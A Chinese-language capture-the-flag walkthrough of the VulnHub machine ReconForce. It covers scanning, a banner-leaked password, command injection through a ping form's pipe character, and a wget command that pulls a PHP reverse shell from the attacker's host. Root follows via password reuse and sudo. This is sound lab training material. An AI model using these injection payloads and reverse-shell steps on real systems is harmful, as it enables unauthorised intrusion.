ReconForce
识别目标主机IP地址
─(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ sudo netdiscover -i eth1
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:0a 1 60 Unknown vendor
192.168.56.100 08:00:27:12:7e:24 1 60 PCS Systemtechnik GmbH
192.168.56.170 08:00:27:d6:e8:de 1 60 PCS Systemtechnik GmbH
利用Kali Linux自带的netdiscover工具识别目标主机的IP地址为192.168.56.170
NMAP扫描
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.170 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-11 20:34 EST
Nmap scan report for bogon (192.168.56.170)
Host is up (0.00017s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.56.137
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6f:96:94:65:72:80:08:93:23:90:20:bc:76:df:b8:ec (RSA)
| 256 6f:bb:49:1a:a9:b6:e5:00:84:19:a0:e4:2b:c4:57:c4 (ECDSA)
|_ 256 ce:3d:94:05:f4:a6:82:c4:7f:3f:ba:37:1d:f6:23:b0 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Recon_Web
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:D6:E8:DE (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.95 seconds
目标主机有3个开放端口，分别是21（运行FTP服务）、22（运行SSH服务）以及80（运行HTTP服务）
Get Access
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ ftp 192.168.56.170
Connected to 192.168.56.170.
220 "Security@hackNos".
Name (192.168.56.170:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -alh
229 Entering Extended Passive Mode (|||35031|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 117 4096 Jan 06 2020 .
drwxr-xr-x 2 0 117 4096 Jan 06 2020 ..
226 Directory send OK.
ftp> ls
229 Entering Extended Passive Mode (|||37248|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> quit
221 Goodbye.
FTP服务没有暴漏太多信息。
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ searchsploit vsftpd 3.0.3
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 3.0.3 - Remote Denial of Service | multiple/remote/49719.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ curl http://192.168.56.170
<!DOCTYPE HTML>
<html>
<head>
<title> Recon_Web</title>
<link rel="stylesheet" type="text/css" href="css/style.css">
</head>
<body>
<header>
<div class="main">
<div class="logo">
<img src="logo.png">
</div>
<ul>
<li><a href="#">Home</a></li>
<li><a href="https://www.reconforce.in" target="_blank">Service</a></li>
<li><a href="https://www.hacknos.com/os-hacknos-3-walkthrough-vulnhub-ctf/" target="_blank">Blog</a></li>>
</ul>
</div>
<div class="title">
<h1>hackNos</h1></div>
<div class="button">
<a href="5ecure/" class="btn">TroubleShoot</a>>
</div>
</header>
</body>
</html>
返回的页面含有5ecure/链接，但该页面有认证机制，暂时搁置。
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ gobuster dir -u http://192.168.56.170 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.170
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.2.0-dev
[+] Timeout: 10s
===============================================================
2022/11/11 20:52:22 Starting gobuster in directory enumeration mode
===============================================================
/css (Status: 301) [Size: 314] [--> http://192.168.56.170/css/]
/server-status (Status: 403) [Size: 279]
Progress: 219753 / 220561 (99.63%)===============================================================
2022/11/11 20:53:27 Finished
===============================================================
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ gobuster dir -u http://192.168.56.170 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.sh,.txt
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.170
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.2.0-dev
[+] Extensions: php,html,sh,txt
[+] Timeout: 10s
===============================================================
2022/11/11 20:53:40 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 660]
/.html (Status: 403) [Size: 279]
/.php (Status: 403) [Size: 279]
/css (Status: 301) [Size: 314] [--> http://192.168.56.170/css/]
/.html (Status: 403) [Size: 279]
/.php (Status: 403) [Size: 279]
/server-status (Status: 403) [Size: 279]
Progress: 1101979 / 1102805 (99.93%)===============================================================
2022/11/11 20:59:19 Finished
===============================================================
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ nikto -h http://192.168.56.170
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.56.170
+ Target Hostname: 192.168.56.170
+ Target Port: 80
+ Start Time: 2022-11-11 20:59:47 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 294, size: 59bd0f09b74ac, mtime: gzip
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ 7915 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2022-11-11 21:00:41 (GMT-5) (54 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
*********************************************************************
Portions of the server's headers (Apache/2.4.41) are not in
the Nikto 2.1.6 database or are newer than the known string. Would you like
to submit this information (*no server specific data*) to CIRT.net
for a Nikto update (or you may email to sullo@cirt.net) (y/n)? n
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ dirb http://192.168.56.170
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Nov 11 21:01:03 2022
URL_BASE: http://192.168.56.170/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.56.170/ ----
==> DIRECTORY: http://192.168.56.170/css/
+ http://192.168.56.170/index.html (CODE:200|SIZE:660)
+ http://192.168.56.170/server-status (CODE:403|SIZE:279)
---- Entering directory: http://192.168.56.170/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Fri Nov 11 21:01:06 2022
DOWNLOADED: 4612 - FOUND:
目录扫描似乎没啥收获。
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ wget http://192.168.56.170/css/2.jpg
--2022-11-11 21:04:11-- http://192.168.56.170/css/2.jpg
Connecting to 192.168.56.170:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 502241 (490K) [image/jpeg]
Saving to: ‘2.jpg’
2.jpg 100%[========================================================================================================================================>] 490.47K --.-KB/s in 0.002s
2022-11-11 21:04:11 (212 MB/s) - ‘2.jpg’ saved [502241/502241]
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ ls
2.jpg nmap_full_scan
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ steghide extract -sf 2.jpg
Enter passphrase:
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ stegseek 2.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Progress: 99.85% (133.2 MB)
[!] error: Could not find a valid passphrase.
参考其他人的解题拖车，FTP登陆时，作者有提示：
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ ftp 192.168.56.170
Connected to 192.168.56.170.
220 "Security@hackNos".
Name (192.168.56.170:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
这里的Security@hackNos可能是用户名或者密码，而在Web侦察阶段，只发现了一个需要认证的页面，也许这是这个页面的密码（用户名admin)
发现可以成功登录，登录后有个Ping_scan功能，
输入127.0.0.1:
返回：
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.015 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.027 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.025 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.028 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3052ms
rtt min/avg/max/mdev = 0.015/0.023/0.028/0.005 ms
可以成功执行ping命令，那接下来看有没有命令注入漏洞
输入：127.0.0.1;ls 没有返回结果
输入：127.0.0.1&&ls 没有返回结果
推测有某种过滤机制。
但是并没有过滤管道符
输入:127.0.0.1|ls,可以成功返回：
css
index.html
logo.png
out.php
输入:127.0.0.1|cat out.php，可以返回out.php源代码:
'',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "
{$cmd}
";
}
?> php
从代码可以看出注意如果管道符后面有空格，那也会被过滤（所以要做多种尝试）
接下来可以将shell.php下载到目标主机，然后执行
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ cp ~/Tools/php_reverse_shell/php-reverse-shell-1.0/php-reverse-shell.php .
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ ls
2.jpg nmap_full_scan php-reverse-shell.php
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ mv php-reverse-shell.php shell.php
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ vim shell.php
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
输入127.0.0.1|wget http://192.168.56.137:8000/shell.php
输入127.0.0.1|ls，返回结果可知已经成功下载shell.php：
css
index.html
logo.png
out.php
shell.php
然后从浏览器访问/shell.php，而Kali Linux本地启动监听：
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ sudo nc -nlvp 5555
[sudo] password for kali:
listening on [any] 5555 ...
connect to [192.168.56.137] from (UNKNOWN) [192.168.56.170] 46396
Linux hacknos 5.3.0-24-generic #26-Ubuntu SMP Thu Nov 14 01:33:18 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
10:24:35 up 53 min, 0 users, load average: 0.00, 0.03, 0.63
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ bash -i
bash: cannot set terminal process group (933): Inappropriate ioctl for device
bash: no job control in this shell
www-data@hacknos:/$
在Kali Linux成功得到了目标主机的shell:
┌──(kali㉿kali)-[~/Vulnhub/ReconForce]
└─$ sudo nc -nlvp 5555
[sudo] password for kali:
listening on [any] 5555 ...
connect to [192.168.56.137] from (UNKNOWN) [192.168.56.170] 46396
Linux hacknos 5.3.0-24-generic #26-Ubuntu SMP Thu Nov 14 01:33:18 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
10:24:35 up 53 min, 0 users, load average: 0.00, 0.03, 0.63
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ bash -i
bash: cannot set terminal process group (933): Inappropriate ioctl for device
bash: no job control in this shell
www-data@hacknos:/$
www-data@hacknos:/var/www$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:106:111::/run/uuidd:/usr/sbin/nologin
tcpdump:x:107:112::/nonexistent:/usr/sbin/nologin
landscape:x:108:114::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
recon:x:1000:119:rahul:/home/recon:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
ftp:x:111:117:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
mysql:x:112:118:MySQL Server,,,:/nonexistent:/bin/false
dnsmasq:x:113:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
www-data@hacknos:/var/www$ cd /home
cd /home
www-data@hacknos:/home$ ls -alh
ls -alh
total 12K
drwxr-xr-x 3 root root 4.0K Jan 10 2020 .
drwxr-xr-x 20 root root 4.0K Jan 6 2020 ..
drwxr-xr-x 4 recon docker 4.0K Jan 10 2020 recon
www-data@hacknos:/home$ cd recon
cd recon
www-data@hacknos:/home/recon$ ls -alh
ls -alh
total 32K
drwxr-xr-x 4 recon docker 4.0K Jan 10 2020 .
drwxr-xr-x 3 root root 4.0K Jan 10 2020 ..
-rw------- 1 recon docker 0 Jan 10 2020 .bash_history
-rw-r--r-- 1 recon docker 220 May 5 2019 .bash_logout
-rw-r--r-- 1 recon docker 3.7K May 5 2019 .bashrc
drwx------ 2 recon docker 4.0K Jan 6 2020 .cache
drwx------ 3 recon docker 4.0K Jan 6 2020 .gnupg
-rw-r--r-- 1 recon docker 807 May 5 2019 .profile
-rw-r--r-- 1 recon docker 0 Jan 6 2020 .sudo_as_admin_successful
-rw-r--r-- 1 root root 87 Jan 10 2020 user.txt
www-data@hacknos:/home/recon$ cat user.txt
cat user.txt
###########################################
MD5HASH: bae11ce4f67af91fa58576c1da2aad4b
www-data@hacknos:/home/recon$ cat .bash_history
cat .bash_history
cat: .bash_history: Permission denied
www-data@hacknos:/home/recon$
提权
搜罗了一遍目标主机的目录和文件，貌似需要首先Lateral Movement到recon用户，recon用户有sudo权限，但是如何做呢？联想到ftp登录时用的密码，
www-data@hacknos:/home/recon$ su - recon
su - recon
Password: Security@hackNos
id
uid=1000(recon) gid=119(docker) groups=119(docker),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lxd)
which python
/usr/bin/python
python -c 'import pty;pty.spawn("/bin/bash")'
recon@hacknos:~$ sudo -l
sudo -l
[sudo] password for recon: Security@hackNos
Matching Defaults entries for recon on hacknos:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User recon may run the following commands on hacknos:
(ALL : ALL) ALL
recon@hacknos:~$ sudo bash
sudo bash
root@hacknos:/home/recon# cd /root
cd /root
root@hacknos:~# ls -alh
ls -alh
total 40K
drwx------ 6 root root 4.0K Jan 17 2020 .
drwxr-xr-x 20 root root 4.0K Jan 6 2020 ..
-rw------- 1 root root 0 Jan 10 2020 .bash_history
-rw-r--r-- 1 root root 3.1K Aug 27 2019 .bashrc
drwx------ 2 root root 4.0K Jan 17 2020 .cache
drwx------ 3 root root 4.0K Jan 17 2020 .gnupg
-rw-r--r-- 1 root root 148 Aug 27 2019 .profile
-rw-r--r-- 1 root root 876 Jan 10 2020 root.txt
drwxr-xr-x 3 root root 4.0K Jan 6 2020 snap
drwx------ 2 root root 4.0K Jan 6 2020 .ssh
-rw------- 1 root root 856 Jan 17 2020 .viminfo
root@hacknos:~# cat root.txt
cat root.txt
$$\ $$$$$$$\
\$$\ $$ __$$\
$$$$\ \$$\ $$ | $$ | $$$$$$\ $$$$$$$\ $$$$$$\ $$$$$$$\
\____| \$$\ $$$$$$$ |$$ __$$\ $$ _____|$$ __$$\ $$ __$$\
$$$$\ $$ | $$ __$$< $$$$$$$$ |$$ / $$ / $$ |$$ | $$ |
\____|$$ / $$ | $$ |$$ ____|$$ | $$ | $$ |$$ | $$ |
$$ / $$ | $$ |\$$$$$$$\ \$$$$$$$\ \$$$$$$ |$$ | $$ |
\__/ \__| \__| \_______| \_______| \______/ \__| \__|
MD5HASH: bae11ce4f67af91fa58576c1da2aad4b
Author: Rahul Gehlaut
WebBlog: www.hackNos.com
Twitter: @rahul_gehlaut
root@hacknos:~#
成功提权！
这个靶机给我们重要的提示： 作者在设计靶机时，不同寻常的信息，比如FTP返回的不一般的Banner都会非常有用。
原文地址：http://www.cnblogs.com/jason-huawen/p/16882871.html
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